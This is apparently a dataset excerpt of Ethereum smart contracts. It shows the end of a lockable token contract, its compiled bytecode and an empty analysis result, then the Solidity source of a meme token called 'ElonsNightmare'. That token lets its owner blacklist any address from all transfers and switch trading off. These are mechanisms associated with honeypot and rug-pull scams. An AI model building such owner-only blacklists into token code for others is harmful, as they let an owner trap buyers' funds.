allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function unlockToken() public onlyAuthorized returns (bool) {
locked = false;
emit UnlockToken();
return true;
}
function lockToken() public onlyAuthorized returns (bool) {
locked = true;
emit LockToken();
return true;
}
/*
function setICO(address _icocontract) public onlyOwner returns (bool) {
require(_icocontract != address(0));
ico = _icocontract;
emit SetICO(_icocontract);
return true;
}*/
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c80637d64bcb4116100b8578063a9059cbb1161007c578063a9059cbb14610624578063bca7a9e214610688578063cf309012146106a8578063d73dd623146106c8578063dd62ed3e1461072c578063f2fde38b146107a457610142565b80637d64bcb4146104b55780638da5cb5b146104d557806395d89b41146105095780639dc29fac1461058c578063a3e67610146105f057610142565b806318a24b5b1161010a57806318a24b5b146102d057806323b872dd146102f0578063313ce5671461037457806340c10f191461039557806366188463146103f957806370a082311461045d57610142565b806305c82a151461014757806305d2035b146101ab57806306fdde03146101cb578063095ea7b31461024e57806318160ddd146102b2575b600080fd5b6101936004803603604081101561015d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e8565b60405180821515815260200191505060405180910390f35b6101b3610acb565b60405180821515815260200191505060405180910390f35b6101d3610ade565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102135780820151818401526020810190506101f8565b50505050905090810190601f1680156102405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61029a6004803603604081101561026457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b7c565b60405180821515815260200191505060405180910390f35b6102ba610c6e565b6040518082815260200191505060405180910390f35b6102d8610c74565b60405180821515815260200191505060405180910390f35b61035c6004803603606081101561030657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d1d565b60405180821515815260200191505060405180910390f35b61037c611147565b604051808260ff16815260200191505060405180910390f35b6103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061115a565b60405180821515815260200191505060405180910390f35b6104456004803603604081101561040f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061133d565b60405180821515815260200191505060405180910390f35b61049f6004803603602081101561047357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ce565b6040518082815260200191505060405180910390f35b6104bd611617565b60405180821515815260200191505060405180910390f35b6104dd6116da565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105116116fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610551578082015181840152602081019050610536565b50505050905090810190601f16801561057e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105d8600480360360408110156105a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061179c565b60405180821515815260200191505060405180910390f35b6105f861197d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106706004803603604081101561063a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119a3565b60405180821515815260200191505060405180910390f35b610690611c6d565b60405180821515815260200191505060405180910390f35b6106b0611d16565b60405180821515815260200191505060405180910390f35b610714600480360360408110156106de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d29565b60405180821515815260200191505060405180910390f35b61078e6004803603604081101561074257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f25565b6040518082815260200191505060405180910390f35b6107e6600480360360208110156107ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fac565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108e657600080fd5b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561093257600080fd5b61098482600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cd90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1982600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600860009054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b745780601f10610b4957610100808354040283529160200191610b74565b820191906000526020600020905b815481529060010190602001808311610b5757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ccf57600080fd5b6000600860016101000a81548160ff0219169083151502179055507f70f18bcde0ec5e70a6b75212912eb91efc54a2c235186a6bf95d4d28b128741660405160405180910390a16001905090565b6000600860019054906101000a900460ff161580610d86575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d8f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dc957600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610e1557600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610e9e57600080fd5b610ef082600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cd90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8582600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061105782600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cd90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111b557600080fd5b600860009054906101000a900460ff16156111cf57600080fd5b6111e48260045461225690919063ffffffff16565b60048190555061123c82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561144e576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114e2565b61146183826121cd90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461167257600080fd5b600860009054906101000a900460ff161561168c57600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117945780601f1061176957610100808354040283529160200191611794565b820191906000526020600020905b81548152906001019060200180831161177757829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117f757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561183157600080fd5b611846826004546121cd90919063ffffffff16565b60048190555061189e82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cd90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f396ed0ab6cc27459695a5d29409f1357ff85a6b958ca216959d886d23a89949b60405160405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860019054906101000a900460ff161580611a0c575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611a1557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a4f57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611a9b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611ad457600080fd5b611b2682600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cd90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bbb82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cc857600080fd5b6001600860016101000a81548160ff0219169083151502179055507f481e27d43fb74b96540bf6eb1011042665ae9040107d556002cb2796a9a9867560405160405180910390a16001905090565b600860019054906101000a900460ff1681565b6000611dba82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225690919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461206d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420617574686f72697a6564206f7065726174696f6e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612110576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f416464726573732073686f756c646e2774206265207a65726f0000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115612245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110156122d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fea264697066735822122063bd931cf0f51b5d3b787d55c80a7ae5ede249694a8982d821e6406b148da88064736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,128 |
0x2d15675f0cc6bd97a65e031f02a31feaae86abef | /**
*Submitted for verification at Etherscan.io on 2022-05-02
*/
// http://elonsnightmare.com
// https://t.me/elonsnightmare
// https://twitter.com/ElonsNightmare
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ElonsNightmare is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ElonsNightmare";
string private constant _symbol = "DARKBIRD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
// Jeets out Fee
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 6;
// Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
// Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
// Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xa81e7f07143EFdE95868c4233765082B03da7FeF);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 hours;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 15e9 * 10**9; //1.5%
uint256 public _maxWalletSize = 3e10 * 10**9; //3%
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 15e9 * 10**9 ; // 1.5%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
// Trade start check
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
// Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
// Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
// antibot
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
// Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
